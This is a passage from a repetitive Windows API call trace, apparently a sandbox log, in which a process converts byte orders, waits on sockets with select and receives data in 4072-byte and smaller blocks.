(hostshort=0x3393) returned 0x9333 [0119.468] htons (hostshort=0xf201) returned 0x1f2 [0119.468] htons (hostshort=0x0) returned 0x0 [0119.468] htons (hostshort=0x3393) returned 0x9333 [0119.468] htons (hostshort=0xf201) returned 0x1f2 [0119.468] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.468] htons (hostshort=0x0) returned 0x0 [0119.468] htons (hostshort=0x3393) returned 0x9333 [0119.468] htons (hostshort=0xf201) returned 0x1f2 [0119.468] htons (hostshort=0x0) returned 0x0 [0119.468] htons (hostshort=0x3393) returned 0x9333 [0119.468] htons (hostshort=0xf201) returned 0x1f2 [0119.468] htons (hostshort=0x0) returned 0x0 [0119.468] htons (hostshort=0x9333) returned 0x3393 [0119.468] htons (hostshort=0x1f2) returned 0xf201 [0119.468] htons (hostshort=0x0) returned 0x0 [0119.468] htons (hostshort=0x3393) returned 0x9333 [0119.468] htons (hostshort=0xf201) returned 0x1f2 [0119.468] htons (hostshort=0x0) returned 0x0 [0119.468] htons (hostshort=0x3393) returned 0x9333 [0119.468] htons (hostshort=0xf201) returned 0x1f2 [0119.468] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.468] htons (hostshort=0x0) returned 0x0 [0119.468] htons (hostshort=0x3393) returned 0x9333 [0119.468] htons (hostshort=0xf201) returned 0x1f2 [0119.468] htons (hostshort=0x0) returned 0x0 [0119.468] htons (hostshort=0x3393) returned 0x9333 [0119.468] htons (hostshort=0xf201) returned 0x1f2 [0119.468] htons (hostshort=0x0) returned 0x0 [0119.468] htons (hostshort=0x9333) returned 0x3393 [0119.468] htons (hostshort=0x1f2) returned 0xf201 [0119.469] htons (hostshort=0x0) returned 0x0 [0119.469] htons (hostshort=0x3393) returned 0x9333 [0119.469] htons (hostshort=0xf201) returned 0x1f2 [0119.469] htons (hostshort=0x0) returned 0x0 [0119.469] htons (hostshort=0x3393) returned 0x9333 [0119.469] htons (hostshort=0xf201) returned 0x1f2 [0119.469] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.469] htons (hostshort=0x0) returned 0x0 [0119.469] htons (hostshort=0x3393) returned 0x9333 [0119.469] htons (hostshort=0xf201) returned 0x1f2 [0119.469] htons (hostshort=0x0) returned 0x0 [0119.469] htons (hostshort=0x3393) returned 0x9333 [0119.469] htons (hostshort=0xf201) returned 0x1f2 [0119.469] htons (hostshort=0x0) returned 0x0 [0119.469] htons (hostshort=0x9333) returned 0x3393 [0119.469] htons (hostshort=0x1f2) returned 0xf201 [0119.469] htons (hostshort=0x0) returned 0x0 [0119.469] htons (hostshort=0x3393) returned 0x9333 [0119.469] htons (hostshort=0xf201) returned 0x1f2 [0119.469] htons (hostshort=0x0) returned 0x0 [0119.469] htons (hostshort=0x3393) returned 0x9333 [0119.469] htons (hostshort=0xf201) returned 0x1f2 [0119.469] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.469] rand () returned 22648 [0119.469] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3db867b0, dwHighDateTime=0x1d31ac1)) [0119.469] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.469] GetCurrentThreadId () returned 0x918 [0119.469] WSASetLastError (iError=0) [0119.469] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.469] SetLastError (dwErrCode=0x0) [0119.469] WSASetLastError (iError=0) [0119.469] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.469] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.469] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.469] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.469] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.469] htons (hostshort=0x0) returned 0x0 [0119.469] htons (hostshort=0x3393) returned 0x9333 [0119.469] htons (hostshort=0xf201) returned 0x1f2 [0119.469] htons (hostshort=0x0) returned 0x0 [0119.470] htons (hostshort=0x3393) returned 0x9333 [0119.470] htons (hostshort=0xf201) returned 0x1f2 [0119.470] htons (hostshort=0x0) returned 0x0 [0119.470] htons (hostshort=0x9333) returned 0x3393 [0119.470] htons (hostshort=0x1f2) returned 0xf201 [0119.470] htons (hostshort=0x0) returned 0x0 [0119.470] htons (hostshort=0x3393) returned 0x9333 [0119.470] htons (hostshort=0xf201) returned 0x1f2 [0119.470] htons (hostshort=0x0) returned 0x0 [0119.470] htons (hostshort=0x3393) returned 0x9333 [0119.470] htons (hostshort=0xf201) returned 0x1f2 [0119.470] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.470] htons (hostshort=0x0) returned 0x0 [0119.470] htons (hostshort=0x3393) returned 0x9333 [0119.470] htons (hostshort=0xf201) returned 0x1f2 [0119.470] htons (hostshort=0x0) returned 0x0 [0119.470] htons (hostshort=0x3393) returned 0x9333 [0119.470] htons (hostshort=0xf201) returned 0x1f2 [0119.470] htons (hostshort=0x0) returned 0x0 [0119.470] htons (hostshort=0x9333) returned 0x3393 [0119.470] htons (hostshort=0x1f2) returned 0xf201 [0119.470] htons (hostshort=0x0) returned 0x0 [0119.470] htons (hostshort=0x3393) returned 0x9333 [0119.470] htons (hostshort=0xf201) returned 0x1f2 [0119.470] htons (hostshort=0x0) returned 0x0 [0119.470] htons (hostshort=0x3393) returned 0x9333 [0119.470] htons (hostshort=0xf201) returned 0x1f2 [0119.470] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.470] htons (hostshort=0x0) returned 0x0 [0119.470] htons (hostshort=0x3393) returned 0x9333 [0119.470] htons (hostshort=0xf201) returned 0x1f2 [0119.471] htons (hostshort=0x0) returned 0x0 [0119.471] htons (hostshort=0x3393) returned 0x9333 [0119.471] htons (hostshort=0xf201) returned 0x1f2 [0119.471] htons (hostshort=0x0) returned 0x0 [0119.471] htons (hostshort=0x9333) returned 0x3393 [0119.471] htons (hostshort=0x1f2) returned 0xf201 [0119.471] htons (hostshort=0x0) returned 0x0 [0119.471] htons (hostshort=0x3393) returned 0x9333 [0119.471] htons (hostshort=0xf201) returned 0x1f2 [0119.471] htons (hostshort=0x0) returned 0x0 [0119.471] htons (hostshort=0x3393) returned 0x9333 [0119.471] htons (hostshort=0xf201) returned 0x1f2 [0119.471] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.471] htons (hostshort=0x0) returned 0x0 [0119.471] htons (hostshort=0x3393) returned 0x9333 [0119.471] htons (hostshort=0xf201) returned 0x1f2 [0119.471] htons (hostshort=0x0) returned 0x0 [0119.471] htons (hostshort=0x3393) returned 0x9333 [0119.471] htons (hostshort=0xf201) returned 0x1f2 [0119.471] htons (hostshort=0x0) returned 0x0 [0119.471] htons (hostshort=0x9333) returned 0x3393 [0119.471] htons (hostshort=0x1f2) returned 0xf201 [0119.471] htons (hostshort=0x0) returned 0x0 [0119.471] htons (hostshort=0x3393) returned 0x9333 [0119.471] htons (hostshort=0xf201) returned 0x1f2 [0119.471] htons (hostshort=0x0) returned 0x0 [0119.471] htons (hostshort=0x3393) returned 0x9333 [0119.471] htons (hostshort=0xf201) returned 0x1f2 [0119.471] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.471] htons (hostshort=0x0) returned 0x0 [0119.471] htons (hostshort=0x3393) returned 0x9333 [0119.471] htons (hostshort=0xf201) returned 0x1f2 [0119.471] htons (hostshort=0x0) returned 0x0 [0119.471] htons (hostshort=0x3393) returned 0x9333 [0119.471] htons (hostshort=0xf201) returned 0x1f2 [0119.471] htons (hostshort=0x0) returned 0x0 [0119.471] htons (hostshort=0x9333) returned 0x3393 [0119.471] htons (hostshort=0x1f2) returned 0xf201 [0119.471] htons (hostshort=0x0) returned 0x0 [0119.471] htons (hostshort=0x3393) returned 0x9333 [0119.471] htons (hostshort=0xf201) returned 0x1f2 [0119.471] htons (hostshort=0x0) returned 0x0 [0119.471] htons (hostshort=0x3393) returned 0x9333 [0119.471] htons (hostshort=0xf201) returned 0x1f2 [0119.471] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.472] htons (hostshort=0x0) returned 0x0 [0119.472] htons (hostshort=0x3393) returned 0x9333 [0119.472] htons (hostshort=0xf201) returned 0x1f2 [0119.472] htons (hostshort=0x0) returned 0x0 [0119.472] htons (hostshort=0x3393) returned 0x9333 [0119.472] htons (hostshort=0xf201) returned 0x1f2 [0119.472] htons (hostshort=0x0) returned 0x0 [0119.472] htons (hostshort=0x9333) returned 0x3393 [0119.472] htons (hostshort=0x1f2) returned 0xf201 [0119.472] htons (hostshort=0x0) returned 0x0 [0119.472] htons (hostshort=0x3393) returned 0x9333 [0119.472] htons (hostshort=0xf201) returned 0x1f2 [0119.472] htons (hostshort=0x0) returned 0x0 [0119.472] htons (hostshort=0x3393) returned 0x9333 [0119.472] htons (hostshort=0xf201) returned 0x1f2 [0119.472] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.472] htons (hostshort=0x0) returned 0x0 [0119.472] htons (hostshort=0x3393) returned 0x9333 [0119.472] htons (hostshort=0xf201) returned 0x1f2 [0119.472] htons (hostshort=0x0) returned 0x0 [0119.472] htons (hostshort=0x3393) returned 0x9333 [0119.472] htons (hostshort=0xf201) returned 0x1f2 [0119.472] htons (hostshort=0x0) returned 0x0 [0119.472] htons (hostshort=0x9333) returned 0x3393 [0119.472] htons (hostshort=0x1f2) returned 0xf201 [0119.472] htons (hostshort=0x0) returned 0x0 [0119.472] htons (hostshort=0x3393) returned 0x9333 [0119.472] htons (hostshort=0xf201) returned 0x1f2 [0119.472] htons (hostshort=0x0) returned 0x0 [0119.472] htons (hostshort=0x3393) returned 0x9333 [0119.472] htons (hostshort=0xf201) returned 0x1f2 [0119.472] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.472] htons (hostshort=0x0) returned 0x0 [0119.472] htons (hostshort=0x3393) returned 0x9333 [0119.472] htons (hostshort=0xf201) returned 0x1f2 [0119.472] htons (hostshort=0x0) returned 0x0 [0119.472] htons (hostshort=0x3393) returned 0x9333 [0119.472] htons (hostshort=0xf201) returned 0x1f2 [0119.472] htons (hostshort=0x0) returned 0x0 [0119.472] htons (hostshort=0x9333) returned 0x3393 [0119.473] htons (hostshort=0x1f2) returned 0xf201 [0119.473] htons (hostshort=0x0) returned 0x0 [0119.473] htons (hostshort=0x3393) returned 0x9333 [0119.473] htons (hostshort=0xf201) returned 0x1f2 [0119.473] htons (hostshort=0x0) returned 0x0 [0119.473] htons (hostshort=0x3393) returned 0x9333 [0119.473] htons (hostshort=0xf201) returned 0x1f2 [0119.473] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.473] rand () returned 27446 [0119.473] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dbac910, dwHighDateTime=0x1d31ac1)) [0119.473] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.473] GetCurrentThreadId () returned 0x918 [0119.473] WSASetLastError (iError=0) [0119.473] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.473] SetLastError (dwErrCode=0x0) [0119.473] WSASetLastError (iError=0) [0119.473] recv (in: s=0x1d4, buf=0x865668, len=536, flags=0 | out: buf=0x865668*) returned 536 [0119.473] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.473] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.473] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.473] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.473] htons (hostshort=0x0) returned 0x0 [0119.473] htons (hostshort=0x3393) returned 0x9333 [0119.473] htons (hostshort=0xf201) returned 0x1f2 [0119.473] htons (hostshort=0x0) returned 0x0 [0119.473] htons (hostshort=0x3393) returned 0x9333 [0119.473] htons (hostshort=0xf201) returned 0x1f2 [0119.473] htons (hostshort=0x0) returned 0x0 [0119.473] htons (hostshort=0x9333) returned 0x3393 [0119.473] htons (hostshort=0x1f2) returned 0xf201 [0119.473] htons (hostshort=0x0) returned 0x0 [0119.473] htons (hostshort=0x3393) returned 0x9333 [0119.473] htons (hostshort=0xf201) returned 0x1f2 [0119.473] htons (hostshort=0x0) returned 0x0 [0119.473] htons (hostshort=0x3393) returned 0x9333 [0119.473] htons (hostshort=0xf201) returned 0x1f2 [0119.474] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.474] rand () returned 23805 [0119.474] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dbac910, dwHighDateTime=0x1d31ac1)) [0119.474] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.474] GetCurrentThreadId () returned 0x918 [0119.474] WSASetLastError (iError=0) [0119.474] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.474] SetLastError (dwErrCode=0x0) [0119.474] WSASetLastError (iError=0) [0119.474] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.474] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.474] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.474] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.474] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.474] htons (hostshort=0x0) returned 0x0 [0119.474] htons (hostshort=0x3393) returned 0x9333 [0119.474] htons (hostshort=0xf201) returned 0x1f2 [0119.474] htons (hostshort=0x0) returned 0x0 [0119.474] htons (hostshort=0x3393) returned 0x9333 [0119.474] htons (hostshort=0xf201) returned 0x1f2 [0119.474] htons (hostshort=0x0) returned 0x0 [0119.474] htons (hostshort=0x9333) returned 0x3393 [0119.474] htons (hostshort=0x1f2) returned 0xf201 [0119.474] htons (hostshort=0x0) returned 0x0 [0119.474] htons (hostshort=0x3393) returned 0x9333 [0119.474] htons (hostshort=0xf201) returned 0x1f2 [0119.474] htons (hostshort=0x0) returned 0x0 [0119.474] htons (hostshort=0x3393) returned 0x9333 [0119.474] htons (hostshort=0xf201) returned 0x1f2 [0119.474] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.474] htons (hostshort=0x0) returned 0x0 [0119.474] htons (hostshort=0x3393) returned 0x9333 [0119.474] htons (hostshort=0xf201) returned 0x1f2 [0119.474] htons (hostshort=0x0) returned 0x0 [0119.475] htons (hostshort=0x3393) returned 0x9333 [0119.475] htons (hostshort=0xf201) returned 0x1f2 [0119.475] htons (hostshort=0x0) returned 0x0 [0119.475] htons (hostshort=0x9333) returned 0x3393 [0119.475] htons (hostshort=0x1f2) returned 0xf201 [0119.475] htons (hostshort=0x0) returned 0x0 [0119.475] htons (hostshort=0x3393) returned 0x9333 [0119.475] htons (hostshort=0xf201) returned 0x1f2 [0119.475] htons (hostshort=0x0) returned 0x0 [0119.475] htons (hostshort=0x3393) returned 0x9333 [0119.475] htons (hostshort=0xf201) returned 0x1f2 [0119.475] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.475] htons (hostshort=0x0) returned 0x0 [0119.475] htons (hostshort=0x3393) returned 0x9333 [0119.475] htons (hostshort=0xf201) returned 0x1f2 [0119.475] htons (hostshort=0x0) returned 0x0 [0119.475] htons (hostshort=0x3393) returned 0x9333 [0119.475] htons (hostshort=0xf201) returned 0x1f2 [0119.475] htons (hostshort=0x0) returned 0x0 [0119.475] htons (hostshort=0x9333) returned 0x3393 [0119.475] htons (hostshort=0x1f2) returned 0xf201 [0119.475] htons (hostshort=0x0) returned 0x0 [0119.475] htons (hostshort=0x3393) returned 0x9333 [0119.475] htons (hostshort=0xf201) returned 0x1f2 [0119.475] htons (hostshort=0x0) returned 0x0 [0119.475] htons (hostshort=0x3393) returned 0x9333 [0119.475] htons (hostshort=0xf201) returned 0x1f2 [0119.475] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.475] htons (hostshort=0x0) returned 0x0 [0119.475] htons (hostshort=0x3393) returned 0x9333 [0119.475] htons (hostshort=0xf201) returned 0x1f2 [0119.475] htons (hostshort=0x0) returned 0x0 [0119.475] htons (hostshort=0x3393) returned 0x9333 [0119.475] htons (hostshort=0xf201) returned 0x1f2 [0119.475] htons (hostshort=0x0) returned 0x0 [0119.475] htons (hostshort=0x9333) returned 0x3393 [0119.475] htons (hostshort=0x1f2) returned 0xf201 [0119.475] htons (hostshort=0x0) returned 0x0 [0119.475] htons (hostshort=0x3393) returned 0x9333 [0119.475] htons (hostshort=0xf201) returned 0x1f2 [0119.475] htons (hostshort=0x0) returned 0x0 [0119.475] htons (hostshort=0x3393) returned 0x9333 [0119.475] htons (hostshort=0xf201) returned 0x1f2 [0119.475] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.475] htons (hostshort=0x0) returned 0x0 [0119.476] htons (hostshort=0x3393) returned 0x9333 [0119.476] htons (hostshort=0xf201) returned 0x1f2 [0119.476] htons (hostshort=0x0) returned 0x0 [0119.476] htons (hostshort=0x3393) returned 0x9333 [0119.476] htons (hostshort=0xf201) returned 0x1f2 [0119.476] htons (hostshort=0x0) returned 0x0 [0119.476] htons (hostshort=0x9333) returned 0x3393 [0119.476] htons (hostshort=0x1f2) returned 0xf201 [0119.476] htons (hostshort=0x0) returned 0x0 [0119.476] htons (hostshort=0x3393) returned 0x9333 [0119.476] htons (hostshort=0xf201) returned 0x1f2 [0119.476] htons (hostshort=0x0) returned 0x0 [0119.476] htons (hostshort=0x3393) returned 0x9333 [0119.476] htons (hostshort=0xf201) returned 0x1f2 [0119.476] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.476] htons (hostshort=0x0) returned 0x0 [0119.476] htons (hostshort=0x3393) returned 0x9333 [0119.476] htons (hostshort=0xf201) returned 0x1f2 [0119.476] htons (hostshort=0x0) returned 0x0 [0119.476] htons (hostshort=0x3393) returned 0x9333 [0119.476] htons (hostshort=0xf201) returned 0x1f2 [0119.476] htons (hostshort=0x0) returned 0x0 [0119.476] htons (hostshort=0x9333) returned 0x3393 [0119.476] htons (hostshort=0x1f2) returned 0xf201 [0119.476] htons (hostshort=0x0) returned 0x0 [0119.476] htons (hostshort=0x3393) returned 0x9333 [0119.476] htons (hostshort=0xf201) returned 0x1f2 [0119.476] htons (hostshort=0x0) returned 0x0 [0119.476] htons (hostshort=0x3393) returned 0x9333 [0119.476] htons (hostshort=0xf201) returned 0x1f2 [0119.476] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.476] htons (hostshort=0x0) returned 0x0 [0119.476] htons (hostshort=0x3393) returned 0x9333 [0119.476] htons (hostshort=0xf201) returned 0x1f2 [0119.476] htons (hostshort=0x0) returned 0x0 [0119.476] htons (hostshort=0x3393) returned 0x9333 [0119.476] htons (hostshort=0xf201) returned 0x1f2 [0119.476] htons (hostshort=0x0) returned 0x0 [0119.476] htons (hostshort=0x9333) returned 0x3393 [0119.476] htons (hostshort=0x1f2) returned 0xf201 [0119.476] htons (hostshort=0x0) returned 0x0 [0119.476] htons (hostshort=0x3393) returned 0x9333 [0119.476] htons (hostshort=0xf201) returned 0x1f2 [0119.476] htons (hostshort=0x0) returned 0x0 [0119.476] htons (hostshort=0x3393) returned 0x9333 [0119.476] htons (hostshort=0xf201) returned 0x1f2 [0119.477] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.477] rand () returned 15890 [0119.477] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dbac910, dwHighDateTime=0x1d31ac1)) [0119.477] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.477] GetCurrentThreadId () returned 0x918 [0119.477] WSASetLastError (iError=0) [0119.477] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.477] SetLastError (dwErrCode=0x0) [0119.477] WSASetLastError (iError=0) [0119.477] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.477] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.477] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.477] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.477] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.477] htons (hostshort=0x0) returned 0x0 [0119.477] htons (hostshort=0x3393) returned 0x9333 [0119.477] htons (hostshort=0xf201) returned 0x1f2 [0119.477] htons (hostshort=0x0) returned 0x0 [0119.477] htons (hostshort=0x3393) returned 0x9333 [0119.477] htons (hostshort=0xf201) returned 0x1f2 [0119.477] htons (hostshort=0x0) returned 0x0 [0119.477] htons (hostshort=0x9333) returned 0x3393 [0119.477] htons (hostshort=0x1f2) returned 0xf201 [0119.477] htons (hostshort=0x0) returned 0x0 [0119.477] htons (hostshort=0x3393) returned 0x9333 [0119.477] htons (hostshort=0xf201) returned 0x1f2 [0119.477] htons (hostshort=0x0) returned 0x0 [0119.477] htons (hostshort=0x3393) returned 0x9333 [0119.477] htons (hostshort=0xf201) returned 0x1f2 [0119.477] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.477] htons (hostshort=0x0) returned 0x0 [0119.477] htons (hostshort=0x3393) returned 0x9333 [0119.477] htons (hostshort=0xc001) returned 0x1c0 [0119.477] htons (hostshort=0x0) returned 0x0 [0119.477] htons (hostshort=0x3393) returned 0x9333 [0119.477] htons (hostshort=0xc001) returned 0x1c0 [0119.477] htons (hostshort=0x0) returned 0x0 [0119.477] htons (hostshort=0x9333) returned 0x3393 [0119.477] htons (hostshort=0x1c0) returned 0xc001 [0119.478] htons (hostshort=0x0) returned 0x0 [0119.478] htons (hostshort=0x3393) returned 0x9333 [0119.478] htons (hostshort=0xc001) returned 0x1c0 [0119.478] htons (hostshort=0x0) returned 0x0 [0119.478] htons (hostshort=0x3393) returned 0x9333 [0119.478] htons (hostshort=0xc001) returned 0x1c0 [0119.478] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.478] htons (hostshort=0x0) returned 0x0 [0119.478] htons (hostshort=0x3393) returned 0x9333 [0119.478] htons (hostshort=0xf201) returned 0x1f2 [0119.478] htons (hostshort=0x0) returned 0x0 [0119.478] htons (hostshort=0x3393) returned 0x9333 [0119.478] htons (hostshort=0xf201) returned 0x1f2 [0119.478] htons (hostshort=0x0) returned 0x0 [0119.478] htons (hostshort=0x9333) returned 0x3393 [0119.478] htons (hostshort=0x1f2) returned 0xf201 [0119.478] htons (hostshort=0x0) returned 0x0 [0119.478] htons (hostshort=0x3393) returned 0x9333 [0119.478] htons (hostshort=0xf201) returned 0x1f2 [0119.478] htons (hostshort=0x0) returned 0x0 [0119.478] htons (hostshort=0x3393) returned 0x9333 [0119.478] htons (hostshort=0xf201) returned 0x1f2 [0119.478] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.478] htons (hostshort=0x0) returned 0x0 [0119.478] htons (hostshort=0x3393) returned 0x9333 [0119.478] htons (hostshort=0xf201) returned 0x1f2 [0119.478] htons (hostshort=0x0) returned 0x0 [0119.478] htons (hostshort=0x3393) returned 0x9333 [0119.478] htons (hostshort=0xf201) returned 0x1f2 [0119.479] htons (hostshort=0x0) returned 0x0 [0119.479] htons (hostshort=0x9333) returned 0x3393 [0119.479] htons (hostshort=0x1f2) returned 0xf201 [0119.479] htons (hostshort=0x0) returned 0x0 [0119.479] htons (hostshort=0x3393) returned 0x9333 [0119.479] htons (hostshort=0xf201) returned 0x1f2 [0119.479] htons (hostshort=0x0) returned 0x0 [0119.479] htons (hostshort=0x3393) returned 0x9333 [0119.479] htons (hostshort=0xf201) returned 0x1f2 [0119.479] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.479] htons (hostshort=0x0) returned 0x0 [0119.479] htons (hostshort=0x3393) returned 0x9333 [0119.479] htons (hostshort=0xf201) returned 0x1f2 [0119.479] htons (hostshort=0x0) returned 0x0 [0119.479] htons (hostshort=0x3393) returned 0x9333 [0119.479] htons (hostshort=0xf201) returned 0x1f2 [0119.479] htons (hostshort=0x0) returned 0x0 [0119.479] htons (hostshort=0x9333) returned 0x3393 [0119.479] htons (hostshort=0x1f2) returned 0xf201 [0119.479] htons (hostshort=0x0) returned 0x0 [0119.479] htons (hostshort=0x3393) returned 0x9333 [0119.479] htons (hostshort=0xf201) returned 0x1f2 [0119.479] htons (hostshort=0x0) returned 0x0 [0119.479] htons (hostshort=0x3393) returned 0x9333 [0119.479] htons (hostshort=0xf201) returned 0x1f2 [0119.479] htons (hostshort=0x0) returned 0x0 [0119.479] htons (hostshort=0x0) returned 0x0 [0119.479] htons (hostshort=0x0) returned 0x0 [0119.479] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b23 [0119.479] htons (hostshort=0x0) returned 0x0 [0119.479] htons (hostshort=0x0) returned 0x0 [0119.479] htons (hostshort=0x0) returned 0x0 [0119.479] htons (hostshort=0x0) returned 0x0 [0119.479] htons (hostshort=0x0) returned 0x0 [0119.479] htons (hostshort=0x0) returned 0x0 [0119.479] htonl (hostlong=0xa8fe7be7) returned 0xe77bfea8 [0119.479] htons (hostshort=0x0) returned 0x0 [0119.479] htons (hostshort=0x9333) returned 0x3393 [0119.479] htons (hostshort=0x0) returned 0x0 [0119.479] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4b23 [0119.479] htons (hostshort=0x0) returned 0x0 [0119.479] htons (hostshort=0x3393) returned 0x9333 [0119.479] htons (hostshort=0x0) returned 0x0 [0119.479] htons (hostshort=0x0) returned 0x0 [0119.479] htons (hostshort=0x9333) returned 0x3393 [0119.479] htons (hostshort=0x0) returned 0x0 [0119.479] htonl (hostlong=0xa8fe7be7) returned 0xe77bfea8 [0119.480] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.480] htons (hostshort=0x0) returned 0x0 [0119.480] htons (hostshort=0x3393) returned 0x9333 [0119.480] htons (hostshort=0xf201) returned 0x1f2 [0119.480] htons (hostshort=0x0) returned 0x0 [0119.480] htons (hostshort=0x3393) returned 0x9333 [0119.480] htons (hostshort=0xf201) returned 0x1f2 [0119.480] htons (hostshort=0x0) returned 0x0 [0119.480] htons (hostshort=0x9333) returned 0x3393 [0119.480] htons (hostshort=0x1f2) returned 0xf201 [0119.480] htons (hostshort=0x0) returned 0x0 [0119.480] htons (hostshort=0x3393) returned 0x9333 [0119.480] htons (hostshort=0xf201) returned 0x1f2 [0119.480] htons (hostshort=0x0) returned 0x0 [0119.480] htons (hostshort=0x3393) returned 0x9333 [0119.480] htons (hostshort=0xf201) returned 0x1f2 [0119.480] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.480] htons (hostshort=0x0) returned 0x0 [0119.480] htons (hostshort=0x3393) returned 0x9333 [0119.480] htons (hostshort=0xf201) returned 0x1f2 [0119.480] htons (hostshort=0x0) returned 0x0 [0119.480] htons (hostshort=0x3393) returned 0x9333 [0119.480] htons (hostshort=0xf201) returned 0x1f2 [0119.480] htons (hostshort=0x0) returned 0x0 [0119.480] htons (hostshort=0x9333) returned 0x3393 [0119.480] htons (hostshort=0x1f2) returned 0xf201 [0119.480] htons (hostshort=0x0) returned 0x0 [0119.480] htons (hostshort=0x3393) returned 0x9333 [0119.480] htons (hostshort=0xf201) returned 0x1f2 [0119.480] htons (hostshort=0x0) returned 0x0 [0119.480] htons (hostshort=0x3393) returned 0x9333 [0119.480] htons (hostshort=0xf201) returned 0x1f2 [0119.480] htonl (hostlong=0xe77bfea8) returned 0xa8fe7be7 [0119.480] htons (hostshort=0x0) returned 0x0 [0119.480] htons (hostshort=0x3393) returned 0x9333 [0119.480] htons (hostshort=0xf201) returned 0x1f2 [0119.480] htons (hostshort=0x0) returned 0x0 [0119.480] htons (hostshort=0x3393) returned 0x9333 [0119.480] htons (hostshort=0xf201) returned 0x1f2 [0119.480] htons (hostshort=0x0) returned 0x0 [0119.480] htons (hostshort=0x9333) returned 0x3393 [0119.480] htons (hostshort=0x1f2) returned 0xf201 [0119.480] htons (hostshort=0x0) returned 0x0 [0119.480] htons (hostshort=0x3393) returned 0x9333 [0119.481] htons (hostshort=0xf201) returned 0x1f2 [0119.481] htons (hostshort=0x0) returned 0x0 [0119.481] htons (hostshort=0x3393) returned 0x9333 [0119.481] htons (hostshort=0xf201) returned 0x1f2 [0119.481] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 2 [0119.481] rand () returned 6729 [0119.481] rand () returned 24370 [0119.481] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3dbac910, dwHighDateTime=0x1d31ac1)) [0119.481] htonl (hostlong=0x4a15df52) returned 0x52df154a [0119.481] GetCurrentThreadId () returned 0x918 [0119.481] WSASetLastError (iError=0) 